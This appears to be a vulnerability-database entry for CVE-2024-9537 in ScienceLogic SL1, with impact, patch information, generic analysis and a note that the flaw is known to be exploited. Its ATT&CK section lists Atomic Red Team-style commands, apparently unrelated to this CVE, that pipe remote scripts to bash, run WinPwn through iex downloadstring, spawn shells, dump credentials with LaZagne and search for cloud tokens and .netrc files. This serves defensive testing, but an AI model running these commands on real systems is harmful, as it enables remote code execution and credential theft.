CVE-2024-9537
Overview
The vulnerability stems from an unspecified flaw in a third-party component bundled within ScienceLogic SL1, affecting its internal processing mechanisms. This flaw likely involves improper handling of external inputs or dependencies within the SL1 platform, compromising the integrity of core system functions. The affected component is embedded in SL1 versions prior to 12.1.3, 12.2.3, and 12.3, across multiple release lines.
Vulnerability Description
ScienceLogic SL1 (formerly EM7) is affected by an unspecified vulnerability involving an unspecified third-party component packaged with SL1. The vulnerability is addressed in SL1 versions 12.1.3+, 12.2.3+, and 12.3+. Remediations have been made available for all SL1 versions back to version lines 10.1.x, 10.2.x, 11.1.x, 11.2.x, and 11.3.x.
Impact
An unauthenticated attacker can exploit this vulnerability remotely without user interaction, enabling full compromise of the ScienceLogic SL1 system. This includes the ability to execute arbitrary code, gain administrative control, and disrupt monitoring operations. Successful exploitation can lead to complete system takeover, data exposure, and interruption of critical IT infrastructure management functions, severely impacting business continuity and security posture.
Solution
ScienceLogic has released remediations for this vulnerability in SL1 versions 12.1.3, 12.2.3, and 12.3 and later. Additionally, patches are available for all affected version lines back to 10.1.x, 10.2.x, 11.1.x, 11.2.x, and 11.3.x. Administrators should apply the updates as detailed in vendor advisories at https://support.sciencelogic.com/s/article/15465 and https://support.sciencelogic.com/s/article/15527. No alternative mitigations or workarounds have been specified by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability affecting ScienceLogic SL1 is characterized by its association with an unspecified third-party component that is integrated into the SL1 platform. This type of vulnerability often arises from dependencies on external libraries or frameworks that may not have been adequately vetted for security flaws. The lack of specificity regarding the nature of the vulnerability suggests that it could encompass a range of potential issues, including but not limited to code injection, privilege escalation, or denial of service. Such vulnerabilities can be particularly insidious, as they may not be immediately apparent to users or administrators, especially if the affected component is not directly managed by the organization.
Exploitation of this vulnerability could occur through various attack vectors, primarily targeting the SL1 application itself or the underlying infrastructure. Attackers may leverage social engineering techniques to gain access to the system, or they could exploit weaknesses in network configurations to gain unauthorized access. Once inside, they might execute arbitrary code or escalate privileges to gain deeper access to sensitive data or system controls. Given the critical nature of SL1 in monitoring and managing IT environments, an attacker could potentially disrupt services, exfiltrate sensitive information, or manipulate system configurations, leading to significant operational disruptions.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on SL1 for their IT operations. The high CVSS score indicates a critical severity level, suggesting that successful exploitation could lead to severe consequences, including data breaches, loss of service availability, and reputational damage. Businesses that utilize SL1 may face regulatory scrutiny and financial penalties if sensitive data is compromised. Additionally, the operational costs associated with incident response and recovery can be substantial, further amplifying the business risk.
To effectively detect and mitigate this vulnerability, organizations should prioritize updating their SL1 installations to the latest versions, as remediations have been made available for multiple previous versions. Regular vulnerability assessments and penetration testing should be conducted to identify any potential weaknesses in the system. Implementing robust monitoring solutions can also help in detecting unusual activity that may indicate an attempted exploitation. Furthermore, organizations should maintain an inventory of all third-party components in use and establish a process for regularly reviewing and updating these dependencies to mitigate future risks.
In conclusion, the vulnerability within ScienceLogic SL1 underscores the importance of vigilance in managing third-party components within software ecosystems. Organizations must adopt a proactive approach to cybersecurity, focusing on timely updates, comprehensive monitoring, and thorough risk assessments to safeguard their critical IT infrastructure. By addressing these vulnerabilities head-on, businesses can better protect themselves against the evolving landscape of cyber threats.
Affected Products (2)
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Sciencelogic | Sl1 | All |
cpe:2.3:a:sciencelogic:sl1:*:*:*:*:*:*:*:*
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Sciencelogic | Sl1 | All |
cpe:2.3:a:sciencelogic:sl1:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
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Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
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Attack Vectors ML
MITRE ATT&CK Techniques (6)
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
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